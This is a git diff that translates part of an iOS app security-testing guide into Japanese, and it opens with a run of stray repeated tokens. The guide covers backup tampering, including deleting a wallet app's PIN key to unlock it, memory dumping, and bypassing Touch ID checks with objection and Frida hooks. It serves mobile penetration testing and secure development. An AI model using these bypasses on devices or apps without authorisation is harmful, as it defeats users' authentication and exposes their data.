(1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) ```bash iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock @@ -745,74 +640,70 @@ Jun 7 13:42:14 iPhone rm[9707] : MS:Notice: Injecting: (null) [rm] (155 Jun 7 13:42:14 iPhone touch[9708] : MS:Notice: Injecting: (null) [touch] (1556.00) ... ``` - ![](../.gitbook/assets/image%20\(9\)%20\(1\)%20\(2\).png) \ -Use [**Trickest**](https://trickest.io/) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +[**Trickest**](https://trickest.io/)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ +今すぐアクセスを取得: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} -## Backups +## バックアップ -iOS includes auto-backup features that create copies of the data stored on the device. You can **make iOS backups** from your host computer by using iTunes (till macOS Catalina) or Finder (from macOS Catalina onwards), or via the iCloud backup feature. In both cases, the backup includes nearly all data stored on the iOS device except highly sensitive data such as Apple Pay information and Touch ID settings. +iOSには、デバイスに保存されているデータのコピーを作成する自動バックアップ機能が含まれています。iTunes(macOS Catalinaまで)またはFinder(macOS Catalina以降)を使用するか、iCloudバックアップ機能を使用して、ホストコンピュータからiOSバックアップを作成できます。いずれの場合も、バックアップにはApple Pay情報やTouch IDの設定などの高度に機密性の高いデータを除く、iOSデバイスに保存されているほぼすべてのデータが含まれます。 -Since iOS backs up installed apps and their data, an obvious concern is whether **sensitive user data** stored by the app might **unintentionally leak through the backup**. Another concern, though less obvious, is whether **sensitive configuration settings used to protect data or restrict app functionality could be tampered to change app behaviour after restoring a modified backup**. Both concerns are valid and these vulnerabilities have proven to exist in a vast number of apps today. +iOSはインストールされたアプリとそのデータをバックアップするため、明らかな懸念は、アプリによって保存された**機密ユーザーデータ**がバックアップを通じて**意図せず漏洩する可能性**があるかどうかです。もう1つの懸念は、**データを保護したりアプリの機能を制限するために使用される機密の設定が、変更されたバックアップを復元した後にアプリの動作を変更するために改ざんされる可能性があるかどうか**です。両方の懸念は妥当であり、これらの脆弱性は現在の多くのアプリに存在することが証明されています。 -A backup of a device on which a mobile application has been installed will include all subdirectories (except for `Library/Caches/`) and files in the [app's private directory](https://developer.apple.com/library/content/documentation/FileManagement/Conceptual/FileSystemProgrammingGuide/FileSystemOverview/FileSystemOverview.html#//apple\_ref/doc/uid/TP40010672-CH2-SW12).\ -Therefore, **avoid storing sensitive data in plaintext within any of the files or folders that are in the app's private directory or subdirectories**. +モバイルアプリがインストールされたデバイスのバックアップには、[アプリのプライベートディレクトリ](https://developer.apple.com/library/content/documentation/FileManagement/Conceptual/FileSystemProgrammingGuide/FileSystemOverview/FileSystemOverview.html#//apple\_ref/doc/uid/TP40010672-CH2-SW12)のすべてのサブディレクトリ(`Library/Caches/`を除く)およびファイルが含まれます。\ +したがって、**アプリのプライベートディレクトリまたはサブディレクトリに含まれるファイルやフォルダに機密データを平文で保存しないようにしてください**。 -Although all the files in `Documents/` and `Library/Application Support/` are always backed up by default, you can [exclude files from the backup](https://developer.apple.com/library/content/documentation/FileManagement/Conceptual/FileSystemProgrammingGuide/FileSystemOverview/FileSystemOverview.html#//apple\_ref/doc/uid/TP40010672-CH2-SW28) by calling `NSURL setResourceValue:forKey:error:` with the `NSURLIsExcludedFromBackupKey` key.\ -You can use the [NSURLIsExcludedFromBackupKey](https://developer.apple.com/reference/foundation/nsurl#//apple\_ref/c/data/NSURLIsExcludedFromBackupKey) and [CFURLIsExcludedFromBackupKey](https://developer.apple.com/reference/corefoundation/cfurl-rd7#//apple\_ref/c/data/kCFURLIsExcludedFromBackupKey) file system properties to exclude files and directories from backups. +`Documents/`および`Library/Application Support/`のすべてのファイルは、デフォルトで常にバックアップされますが、[バックアップからファイルを除外](https://developer.apple.com/library/content/documentation/FileManagement/Conceptual/FileSystemProgrammingGuide/FileSystemOverview/FileSystemOverview.html#//apple\_ref/doc/uid/TP40010672-CH2-SW28)するには、`NSURLIsExcludedFromBackupKey`キーを使用して`NSURL setResourceValue:forKey:error:`を呼び出すことができます。\ +ファイルとディレクトリをバックアップから除外するために、[NSURLIsExcludedFromBackupKey](https://developer.apple.com/reference/foundation/nsurl#//apple\_ref/c/data/NSURLIsExcludedFromBackupKey)および[CFURLIsExcludedFromBackupKey](https://developer.apple.com/reference/corefoundation/cfurl-rd7#//apple\_ref/c/data/kCFURLIsExcludedFromBackupKey)ファイルシステムプロパティを使用できます。 {% hint style="warning" %} -Therefore when checking the backup of an application you should check if **any sensitive information** is accessible and if you can **modify any sensitive behaviour** of the application by **modifying some setting of the backup** and restoring the backup +したがって、アプリケーションのバックアップをチェックする際には、**アクセス可能な機密情報**があるかどうかを確認し、バックアップの**設定を変更することでアプリケーションの機密な動作を変更できるかどうか**を確認する必要があります。 {% endhint %} -**How to test** +**テスト方法** -Start by **creating a backup of the device** (you can do it using Finder) and finding where is the backup stored. The official Apple documentation will help you to [locate backups of your iPhone, iPad, and iPod touch](https://support.apple.com/en-us/HT204215). +まず、デバイスのバックアップを作成してください(Finderを使用して行うことができます)。バックアップの保存場所を見つけるために、公式のAppleのドキュメントを参照してください:[iPhone、iPad、およびiPod touchのバックアップの場所を見つける](https://support.apple.com/en-us/HT204215)。 -Once you have found the backup of the device (`/Users/carlos.martin/Library/Application Support/MobileSync/Backup/{deviceID}`) you can start looking for sensitive information using grep for example, or using tools like [iMazing](https://imazing.com)). - -To identify if a backup is encrypted, you can check the key named "IsEncrypted" from the file "Manifest.plist", located at the root of the backup directory. The following example shows a configuration indicating that the backup is encrypted: +デバイスのバックアップ(`/Users/carlos.martin/Library/Application Support/MobileSync/Backup/{deviceID}`)を見つけたら、grepなどを使用して機密情報を探したり、[iMazing](https://imazing.com)のようなツールを使用したりできます。 +バックアップが暗号化されているかどうかを特定するには、バックアップディレクトリのルートにある「Manifest.plist」というファイルから「IsEncrypted」というキーを確認できます。次の例は、バックアップが暗号化されていることを示す設定を示しています: ```markup ... - Date - 2021-03-12T17:43:33Z - IsEncrypted - +Date +2021-03-12T17:43:33Z +IsEncrypted + ... ``` +必要に応じて、暗号化されたバックアップで作業する場合、[DinoSecのGitHubリポジトリ](https://github.com/dinosec/iphone-dataprotection/tree/master/python\_scripts)には、**backup\_tool.py**や**backup\_passwd.py**などのPythonスクリプトがいくつかあります。これらは良い出発点となるでしょう。ただし、最新のiTunes/Finderバージョンでは動作しない可能性があり、微調整が必要になるかもしれません。 -In case you need to work with an encrypted backup, there are some Python scripts in [DinoSec's GitHub repo](https://github.com/dinosec/iphone-dataprotection/tree/master/python\_scripts), such as **backup\_tool.py** and **backup\_passwd.py**, that will serve as a good starting point. However, note that they might not work with the latest iTunes/Finder versions and might need to be tweaked. +また、ツール[**iOSbackup**](https://pypi.org/project/iOSbackup/)を使用して、パスワードで暗号化されたiOSバックアップから簡単にファイルを読み取り、抽出することもできます。 -You can also use the tool [**iOSbackup**](https://pypi.org/project/iOSbackup/) to easily read and extract files from a password-encrypted iOS backup. +**動作の変更方法** -**How to modify the behaviour** +オープンソースのビットコインウォレットアプリである[Bither](https://github.com/bither/bither-ios)では、UIをロックするためにPINを設定することができます。\ +このPINは、**pin\_code**という**key**で`net.bither.plist`というファイルに保存されています。\ +このplist内のキーを削除し、バックアップを復元すると、ウォレットにアクセスできるようになります。 -In the open source bitcoin wallet app, [Bither](https://github.com/bither/bither-ios), you'll see that it's possible to configure a PIN to lock the UI.\ -This is PIN is stored in the file `net.bither.plist` inside the **pin\_code** **key**.\ -If you clear this key from that plist in the backup and restores the backup, you will be able to access the wallet. +## 機密データのメモリテスト -## Testing Memory for Sensitive Data +ある時点で、機密情報がメモリに保存されることになります。目的は、この情報ができるだけ短時間で露出されるようにすることです。 -At some point sensitive information is going to be stored in memory. The objective is to make sure that this info is exposed as briefly as possible. +アプリケーションのメモリを調査するためには、まず**メモリダンプ**を作成します。または、デバッガなどを使用してメモリをリアルタイムで**分析**することもできます。どの方法を使用しても、これは非常にエラーが発生しやすいプロセスです。ダンプは実行された関数によって残されたデータを提供し、重要なステップを実行し忘れる可能性があります。また、分析中にデータを見落とすことは、データの足跡(正確な値または形式)を知っていない限り非常に簡単です。たとえば、アプリがランダムに生成された対称鍵に従って暗号化する場合、その鍵をメモリ内で見つけることは非常に困難です。 -To investigate an application's memory, first create a **memory dump**. Alternatively, you can **analyze the memory in real time** with, for example, a debugger. Regardless of the method you use, this is a very error-prone process because dumps provide the data left by executed functions and you might miss executing critical steps. In addition, overlooking data during analysis is quite easy to do unless you know the footprint of the data you're looking for (either its exact value or its format). For example, if the app encrypts according to a randomly generated symmetric key, you're very unlikely to spot the key in memory unless you find its value by other means. +**メモリダンプの取得と分析** -**Retrieving and Analyzing a Memory Dump** - -Wether you are using a jailbroken or a non-jailbroken device, you can dump the app's process memory with [objection](https://github.com/sensepost/objection) and [Fridump](https://github.com/Nightbringer21/fridump). - -After the memory has been dumped (e.g. to a file called "memory"), depending on the nature of the data you're looking for, you'll need a set of different tools to process and analyze that memory dump. For instance, if you're focusing on strings, it might be sufficient for you to execute the command `strings` or `rabin2 -zz` to extract those strings. +脱獄済みのデバイスまたは非脱獄済みのデバイスを使用して、[objection](https://github.com/sensepost/objection)と[Fridump](https://github.com/Nightbringer21/fridump)を使用して、アプリのプロセスメモリをダンプすることができます。 +メモリがダンプされた後(たとえば、"memory"という名前のファイルにダンプされた場合)、探しているデータの性質に応じて、さまざまなツールセットが必要になります。たとえば、文字列に焦点を当てている場合、`strings`コマンドや`rabin2 -zz`コマンドを実行してそれらの文字列を抽出することが十分かもしれません。 ```bash # using strings $ strings memory > strings.txt @@ -820,11 +711,9 @@ $ strings memory > strings.txt # using rabin2 $ rabin2 -ZZ memory > strings.txt ``` +お気に入りのエディタで`strings.txt`を開き、機密情報を特定するために探索してください。 -Open `strings.txt` in your favorite editor and dig through it to identify sensitive information. - -However if you'd like to inspect other kind of data, you'd rather want to use radare2 and its search capabilities. See radare2's help on the search command (`/?`) for more information and a list of options. The following shows only a subset of them: - +ただし、他の種類のデータを調査したい場合は、radare2とその検索機能を使用することをお勧めします。詳細な情報とオプションのリストについては、radare2の検索コマンド(`/?`)のヘルプを参照してください。以下はその一部です。 ```bash $ r2 @@ -842,66 +731,63 @@ Usage: /[!bf] [arg] Search stuff (see 'e??search' for options) | /z min max search for strings of given size ... ``` +**ランタイムメモリ解析** -**Runtime Memory Analysis** +[r2frida](https://github.com/nowsecure/r2frida)を使用することで、アプリが実行中であり、ダンプする必要なくメモリを分析および検査することができます。例えば、r2fridaから前述の検索コマンドを実行し、文字列や16進数の値などをメモリ内で検索することができます。その際、セッションを`r2 frida://usb//`で開始した後、検索コマンド(および他のr2frida固有のコマンド)の前にバックスラッシュ`\`を付けることを忘れないでください。 -By using [**r2frida**](https://github.com/nowsecure/r2frida) you can analyze and inspect the app's memory while running and without needing to dump it. For example, you may run the previous search commands from r2frida and search the memory for a string, hexadecimal values, etc. When doing so, remember to prepend the search command (and any other r2frida specific commands) with a backslash `\` after starting the session with `r2 frida://usb//`. +## 破損した暗号化 -## Broken Cryptography +### 鍵管理プロセスの不備 -### Poor Key Management Processes +一部の開発者は、機密データをローカルストレージに保存し、コード内でハードコード/予測可能な鍵で暗号化しています。これは行ってはならないことです。リバースエンジニアリングによって攻撃者が機密情報を抽出することができる可能性があるためです。 -Some developers save sensitive data in the local storage and encrypt it with a key hardcoded/predictable in the code. This shouldn't be done as some reversing could allow attackers to extract the confidential information. +### 安全でないおよび/または非推奨のアルゴリズムの使用 -### Use of Insecure and/or Deprecated Algorithms +開発者は、認証のチェック、データの保存、送信に**非推奨のアルゴリズム**を使用すべきではありません。これらのアルゴリズムのいくつかには、RC4、MD4、MD5、SHA1などがあります。例えば、パスワードを保存するためにハッシュが使用される場合、ソルトを使用したハッシュブルートフォース耐性のある方法を使用する必要があります。 -Developers shouldn't use **deprecated algorithms** to perform authorisation **checks**, **store** or **send** data. Some of these algorithms are: RC4, MD4, MD5, SHA1... If **hashes** are used to store passwords for example, hashes brute-force **resistant** should be used with salt. +### チェック -### Check - -The main checks to perform if to find if you can find **hardcoded** passwords/secrets in the code, or if those are **predictable**, and if the code is using some king of **weak** **cryptography** algorithms. - -It's interesting to know that you can **monitor** some **crypto** **libraries** automatically using **objection** with: +コード内に**ハードコードされた**パスワード/シークレットがあるか、それらが**予測可能**であるか、コードが**弱い****暗号化**アルゴリズムを使用しているかを確認するために行う主なチェックです。 +興味深いことに、**objection**を使用して一部の**暗号**ライブラリを自動的に**モニタリング**することができます。以下のコマンドを使用します。 ```swift ios monitor crypt ``` +**詳細な情報**については、iOSの暗号化APIとライブラリにアクセスしてください[https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography) -For **more information** about iOS cryptographic APIs and libraries access [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography) +## ローカル認証 -## Local Authentication +テスターは、ローカル認証は常にリモートエンドポイントで強制するか、暗号化プリミティブに基づいている必要があることを認識しておく必要があります。データが認証プロセスから返らない場合、攻撃者は簡単にローカル認証をバイパスすることができます。 -The tester should be aware that **local authentication should always be enforced at a remote endpoint** or based on a cryptographic primitive. Attackers can easily bypass local authentication if no data returns from the authentication process. +[**Local Authentication framework**](https://developer.apple.com/documentation/localauthentication)は、開発者が認証ダイアログをユーザーに拡張するための一連のAPIを提供します。リモートサービスに接続する文脈では、ローカル認証を実装するために[keychain](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html)を活用することが可能です(おすすめです)。 -The [**Local Authentication framework**](https://developer.apple.com/documentation/localauthentication) \_\*\*\_provides a set of APIs for developers to extend an authentication dialog to a user. In the context of connecting to a remote service, it is possible (and recommended) to leverage the [keychain](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html) for implementing local authentication. +**指紋ID**センサーは、[SecureEnclaveセキュリティコプロセッサ](https://www.blackhat.com/docs/us-16/materials/us-16-Mandt-Demystifying-The-Secure-Enclave-Processor.pdf)によって操作され、指紋データをシステムの他の部分に公開しません。Touch IDの次に、Appleは顔認識に基づいた認証を可能にする_Face ID_を導入しました。 -The **fingerprint ID** sensor is operated by the [SecureEnclave security coprocessor](https://www.blackhat.com/docs/us-16/materials/us-16-Mandt-Demystifying-The-Secure-Enclave-Processor.pdf) and does not expose fingerprint data to any other parts of the system. Next to Touch ID, Apple introduced _Face ID_: which allows authentication based on facial recognition. +開発者は、Touch ID/Face ID認証を組み込むために2つのオプションがあります: -Developers have two options for incorporating Touch ID/Face ID authentication: - -* `LocalAuthentication.framework` is a high-level API that can be used to **authenticate the user via Touch ID**. The app can't access any data associated with the enrolled fingerprint and is notified only whether authentication was successful. -* `Security.framework` is a lower level API to access [keychain services](https://developer.apple.com/documentation/security/keychain\_services). This is a secure option if your app needs to **protect some secret data with biometric authentication**, since the access control is managed on a system-level and can not easily be bypassed. `Security.framework` has a C API, but there are several [open source wrappers available](https://www.raywenderlich.com/147308/secure-ios-user-data-keychain-touch-id), making access to the keychain as simple as to NSUserDefaults. +* `LocalAuthentication.framework`は、ユーザーをTouch IDを使用して認証するための高レベルのAPIです。アプリは登録された指紋に関連するデータにアクセスできず、認証が成功したかどうかのみを通知されます。 +* `Security.framework`は、[keychainサービス](https://developer.apple.com/documentation/security/keychain\_services)にアクセスするための低レベルのAPIです。アプリがバイオメトリック認証でいくつかの秘密データを**保護する必要がある場合**、これは安全なオプションです。アクセス制御はシステムレベルで管理され、簡単にバイパスすることはできません。`Security.framework`にはC APIがありますが、[いくつかのオープンソースのラッパー](https://www.raywenderlich.com/147308/secure-ios-user-data-keychain-touch-id)が利用可能であり、キーチェーンへのアクセスはNSUserDefaultsへのアクセスと同じくらい簡単です。 {% hint style="danger" %} -Please be aware that using either the `LocalAuthentication.framework` or the `Security.framework`, will be a control that can be bypassed by an attacker as it does only return a boolean and no data to proceed with. See [Don't touch me that way, by David Lindner et al](https://www.youtube.com/watch?v=XhXIHVGCFFM) for more details. +`LocalAuthentication.framework`または`Security.framework`を使用する場合、攻撃者によってバイパスされる可能性のある制御になることに注意してください。これらの制御は、真偽値のみを返し、進行するためのデータは返しません。詳細については、[Don't touch me that way, by David Lindner et al](https://www.youtube.com/watch?v=XhXIHVGCFFM)を参照してください。 {% endhint %} -### Local Authentication Framework +### ローカル認証フレームワーク -Developers can display an **authentication prompt** by utilizing the function **`evaluatePolicy`** of the **`LAContext`** class. Two available policies define acceptable forms of authentication: +開発者は、**`LAContext`**クラスの**`evaluatePolicy`**関数を利用して**認証プロンプト**を表示することができます。利用可能な2つのポリシーは、受け入れ可能な認証形式を定義します: -* `deviceOwnerAuthentication`(Swift) or `LAPolicyDeviceOwnerAuthentication`(Objective-C): When available, the user is prompted to perform Touch ID authentication. If Touch ID is not activated, the device passcode is requested instead. If the device passcode is not enabled, policy evaluation fails. -* `deviceOwnerAuthenticationWithBiometrics` (Swift) or `LAPolicyDeviceOwnerAuthenticationWithBiometrics`(Objective-C): Authentication is restricted to biometrics where the user is prompted for Touch ID. +* `deviceOwnerAuthentication`(Swift)または`LAPolicyDeviceOwnerAuthentication`(Objective-C):利用可能な場合、ユーザーはTouch ID認証を実行するように求められます。Touch IDがアクティブ化されていない場合、デバイスのパスコードが代わりに要求されます。デバイスのパスコードが有効にされていない場合、ポリシーの評価は失敗します。 +* `deviceOwnerAuthenticationWithBiometrics`(Swift)または`LAPolicyDeviceOwnerAuthenticationWithBiometrics`(Objective-C):認証はTouch IDに制限され、ユーザーはTouch IDのために求められます。 -The **`evaluatePolicy` function returns a boolean** value indicating whether the user has authenticated successfully. Which means that it can be easily bypassed (see below) +**`evaluatePolicy`関数は真偽値を返します**。ユーザーが正常に認証されたかどうかを示します。つまり、簡単にバイパスすることができます(以下を参照)。 -### Local Authentication using Keychain +### キーチェーンを使用したローカル認証 -The **iOS keychain APIs can (and should) be used to implement local authentication**. During this process, the app stores either a secret authentication token or another piece of secret data identifying the user in the keychain. In order to authenticate to a remote service, the user must unlock the keychain using their passphrase or fingerprint to obtain the secret data. +**iOSキーチェーンAPIは(そして使用すべきです)ローカル認証を実装するために使用**できます。このプロセスでは、アプリはキーチェーンに秘密の認証トークンまたはユーザーを識別する他の秘密データを保存します。リモートサービスに認証するために、ユーザーはパスフレーズまたは指紋を使用してキーチェーンをロック解除し、秘密データを取得する必要があります。 -The keychain allows saving items with the special `SecAccessControl` attribute, which will allow access to the item from the keychain only after the user has passed Touch ID authentication (or passcode, if such a fallback is allowed by attribute parameters). +キーチェーンは、特別な`SecAccessControl`属性を持つアイテムを保存することができます。これにより、ユーザーがTouch ID認証をパスした後(または属性パラメータで許可されている場合はパスコード)、キーチェーンからのアイテムへのアクセスが許可されます。 -In the following example we will save the string "test\_strong\_password" to the keychain. The string can be accessed only on the current device while the passcode is set (`kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly` parameter) and after Touch ID authentication for the currently enrolled fingers only (`SecAccessControlCreateFlags.biometryCurrentSet` parameter): +次の例では、文字列「test\_strong\_password」をキーチェーンに保存します。文字列は、パスコードが設定されている場合にのみ現在のデバイスでアクセスでき、現在登録されている指紋に対してTouch ID認証が行われた後にのみアクセスできます(`kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly`パラメータと`SecAccessControlCreateFlags.biometryCurrentSet`パラメータ): {% tabs %} {% tab title="Swift" %} @@ -911,12 +797,12 @@ In the following example we will save the string "test\_strong\_password" to the var error: Unmanaged? guard let accessControl = SecAccessControlCreateWithFlags(kCFAllocatorDefault, - kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly, - SecAccessControlCreateFlags.biometryCurrentSet, - &error) else { - // failed to create AccessControl object +kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly, +SecAccessControlCreateFlags.biometryCurrentSet, +&error) else { +// failed to create AccessControl object - return +return } // 2. define keychain services query. Pay attention that kSecAttrAccessControl is mutually exclusive with kSecAttrAccessible attribute @@ -934,45 +820,45 @@ query[kSecAttrAccessControl as String] = accessControl let status = SecItemAdd(query as CFDictionary, nil) if status == noErr { - // successfully saved +// successfully saved } else { - // error while saving +// error while saving } ``` {% endtab %} -{% tab title="Objective-C" %} +{% tab title="Objective-C" %}オブジェクティブ-C{% endtab %} ```objectivec - // 1. create AccessControl object that will represent authentication settings - CFErrorRef *err = nil; +// 1. create AccessControl object that will represent authentication settings +CFErrorRef *err = nil; - SecAccessControlRef sacRef = SecAccessControlCreateWithFlags(kCFAllocatorDefault, - kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly, - kSecAccessControlUserPresence, - err); +SecAccessControlRef sacRef = SecAccessControlCreateWithFlags(kCFAllocatorDefault, +kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly, +kSecAccessControlUserPresence, +err); - // 2. define keychain services query. Pay attention that kSecAttrAccessControl is mutually exclusive with kSecAttrAccessible attribute - NSDictionary* query = @{ - (_ _bridge id)kSecClass: (__bridge id)kSecClassGenericPassword, - (__bridge id)kSecAttrLabel: @"com.me.myapp.password", - (__bridge id)kSecAttrAccount: @"OWASP Account", - (__bridge id)kSecValueData: [@"test_strong_password" dataUsingEncoding:NSUTF8StringEncoding], - (__bridge id)kSecAttrAccessControl: (__bridge_transfer id)sacRef - }; +// 2. define keychain services query. Pay attention that kSecAttrAccessControl is mutually exclusive with kSecAttrAccessible attribute +NSDictionary* query = @{ +(_ _bridge id)kSecClass: (__bridge id)kSecClassGenericPassword, +(__bridge id)kSecAttrLabel: @"com.me.myapp.password", +(__bridge id)kSecAttrAccount: @"OWASP Account", +(__bridge id)kSecValueData: [@"test_strong_password" dataUsingEncoding:NSUTF8StringEncoding], +(__bridge id)kSecAttrAccessControl: (__bridge_transfer id)sacRef +}; - // 3. save item - OSStatus status = SecItemAdd((__bridge CFDictionaryRef)query, nil); +// 3. save item +OSStatus status = SecItemAdd((__bridge CFDictionaryRef)query, nil); - if (status == noErr) { - // successfully saved - } else { - // error while saving - } +if (status == noErr) { +// successfully saved +} else { +// error while saving +} ``` {% endtab %} {% endtabs %} -Now we can request the saved item from the keychain. Keychain services will present the authentication dialog to the user and return data or nil depending on whether a suitable fingerprint was provided or not. +今、私たちはキーチェーンから保存されたアイテムをリクエストすることができます。キーチェーンサービスは、ユーザーに認証ダイアログを表示し、適切な指紋が提供されたかどうかに応じてデータまたはnilを返します。 {% tabs %} {% tab title="Swift" %} @@ -988,65 +874,60 @@ query[kSecUseOperationPrompt as String] = "Please, pass authorisation to enter t // 2. get item var queryResult: AnyObject? let status = withUnsafeMutablePointer(to: &queryResult) { - SecItemCopyMatching(query as CFDictionary, UnsafeMutablePointer($0)) +SecItemCopyMatching(query as CFDictionary, UnsafeMutablePointer($0)) } if status == noErr { - let password = String(data: queryResult as! Data, encoding: .utf8)! - // successfully received password +let password = String(data: queryResult as! Data, encoding: .utf8)! +// successfully received password } else { - // authorization not passed +// authorization not passed } ``` {% endtab %} -{% tab title="Objective-C" %} +{% tab title="Objective-C" %}オブジェクティブ-C{% endtab %} ```objectivec // 1. define query NSDictionary *query = @{(__bridge id)kSecClass: (__bridge id)kSecClassGenericPassword, - (__bridge id)kSecReturnData: @YES, - (__bridge id)kSecAttrAccount: @"My Name1", - (__bridge id)kSecAttrLabel: @"com.me.myapp.password", - (__bridge id)kSecUseOperationPrompt: @"Please, pass authorisation to enter this area" }; +(__bridge id)kSecReturnData: @YES, +(__bridge id)kSecAttrAccount: @"My Name1", +(__bridge id)kSecAttrLabel: @"com.me.myapp.password", +(__bridge id)kSecUseOperationPrompt: @"Please, pass authorisation to enter this area" }; // 2. get item CFTypeRef queryResult = NULL; OSStatus status = SecItemCopyMatching((__bridge CFDictionaryRef)query, &queryResult); if (status == noErr){ - NSData* resultData = ( __bridge_transfer NSData* )queryResult; - NSString* password = [[NSString alloc] initWithData:resultData encoding:NSUTF8StringEncoding]; - NSLog(@"%@", password); +NSData* resultData = ( __bridge_transfer NSData* )queryResult; +NSString* password = [[NSString alloc] initWithData:resultData encoding:NSUTF8StringEncoding]; +NSLog(@"%@", password); } else { - NSLog(@"Something went wrong"); +NSLog(@"Something went wrong"); } ``` {% endtab %} {% endtabs %} -### Detection - -Usage of frameworks in an app can also be detected by analyzing the app binary's list of shared dynamic libraries. This can be done by using `otool`: +### 検出 +アプリ内でのフレームワークの使用は、アプリのバイナリの共有ダイナミックライブラリのリストを分析することで検出することもできます。これは、`otool`を使用して行うことができます。 ```bash $ otool -L .app/ ``` - -If `LocalAuthentication.framework` is used in an app, the output will contain both of the following lines (remember that `LocalAuthentication.framework` uses `Security.framework` under the hood): - +もしアプリで`LocalAuthentication.framework`が使用されている場合、出力には以下の2つの行が含まれます(`LocalAuthentication.framework`は内部で`Security.framework`を使用していることを覚えておいてください): ```bash /System/Library/Frameworks/LocalAuthentication.framework/LocalAuthentication /System/Library/Frameworks/Security.framework/Security ``` +もし`Security.framework`が使用されている場合、2番目のもののみ表示されます。 -If `Security.framework` is used, only the second one will be shown. - -### Local Authentication Framework Bypass +### ローカル認証フレームワークのバイパス #### Objection -\*\*\*\*[**Objection Biometrics Bypass**](https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass) \*\*\*\* can be used to bypass LocalAuthentication. Objection **uses Frida to instrument the `evaluatePolicy` function so that it returns `True`** even if authentication was not successfully performed. Use the `ios ui biometrics_bypass` command to bypass the insecure biometric authentication. Objection will register a job, which will replace the `evaluatePolicy` result. It will work in both, Swift and Objective-C implementations. - +\*\*\*\*[**Objection バイオメトリクスバイパス**](https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass) \*\*\*\*は、LocalAuthenticationをバイパスするために使用できます。ObjectionはFridaを使用して`evaluatePolicy`関数をインストゥルメント化し、認証が成功しなかった場合でも`True`を返すようにします。`ios ui biometrics_bypass`コマンドを使用して、セキュリティの脆弱なバイオメトリック認証をバイパスします。Objectionはジョブを登録し、`evaluatePolicy`の結果を置き換えます。これはSwiftとObjective-Cの両方で動作します。 ```bash ...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # ios ui biometrics_bypass (agent) Registering job 3mhtws9x47q. Type: ios-biometrics-disable @@ -1055,84 +936,79 @@ If `Security.framework` is used, only the second one will be shown. (agent) [3mhtws9x47q] Marking OS response as True instead (agent) [3mhtws9x47q] Biometrics bypass hook complete ``` - -If vulnerable, the module will automatically bypass the login form. +もし脆弱性がある場合、モジュールは自動的にログインフォームをバイパスします。 #### Frida -An example of a use of **`evaluatePolicy`** from [DVIA-v2 application](https://github.com/prateek147/DVIA-v2): - +[DVIA-v2アプリケーション](https://github.com/prateek147/DVIA-v2)から**`evaluatePolicy`**の使用例: ```swift +(void)authenticateWithTouchID { - LAContext *myContext = [[LAContext alloc] init]; - NSError *authError = nil; - NSString *myLocalizedReasonString = @"Please authenticate yourself"; - - if ([myContext canEvaluatePolicy:LAPolicyDeviceOwnerAuthenticationWithBiometrics error:&authError]) { - [myContext evaluatePolicy:LAPolicyDeviceOwnerAuthenticationWithBiometrics - localizedReason:myLocalizedReasonString - reply:^(BOOL success, NSError *error) { - if (success) { - dispatch_async(dispatch_get_main_queue(), ^{ - [TouchIDAuthentication showAlert:@"Authentication Successful" withTitle:@"Success"]; - }); - } else { - dispatch_async(dispatch_get_main_queue(), ^{ - [TouchIDAuthentication showAlert:@"Authentication Failed !" withTitle:@"Error"]; - }); - } - }]; - } else { - dispatch_async(dispatch_get_main_queue(), ^{ - [TouchIDAuthentication showAlert:@"Your device doesn't support Touch ID or you haven't configured Touch ID authentication on your device" withTitle:@"Error"]; - }); - } +LAContext *myContext = [[LAContext alloc] init]; +NSError *authError = nil; +NSString *myLocalizedReasonString = @"Please authenticate yourself"; + +if ([myContext canEvaluatePolicy:LAPolicyDeviceOwnerAuthenticationWithBiometrics error:&authError]) { +[myContext evaluatePolicy:LAPolicyDeviceOwnerAuthenticationWithBiometrics +localizedReason:myLocalizedReasonString +reply:^(BOOL success, NSError *error) { +if (success) { +dispatch_async(dispatch_get_main_queue(), ^{ +[TouchIDAuthentication showAlert:@"Authentication Successful" withTitle:@"Success"]; +}); +} else { +dispatch_async(dispatch_get_main_queue(), ^{ +[TouchIDAuthentication showAlert:@"Authentication Failed !" withTitle:@"Error"]; +}); +} +}]; +} else { +dispatch_async(dispatch_get_main_queue(), ^{ +[TouchIDAuthentication showAlert:@"Your device doesn't support Touch ID or you haven't configured Touch ID authentication on your device" withTitle:@"Error"]; +}); +} } ``` - -To bypass the Local Authentication, we have to write a Frida script that **bypasses** the aforementioned _**evaluatePolicy** \_ check. As you can see in the above-pasted code snippet, the **evaluatePolicy** uses a **callback** that determines the **result**. So, the easiest way to achieve the hack is to intercept that callback and make sure it \*\*always returns the \*\*_**success=1**\_. - 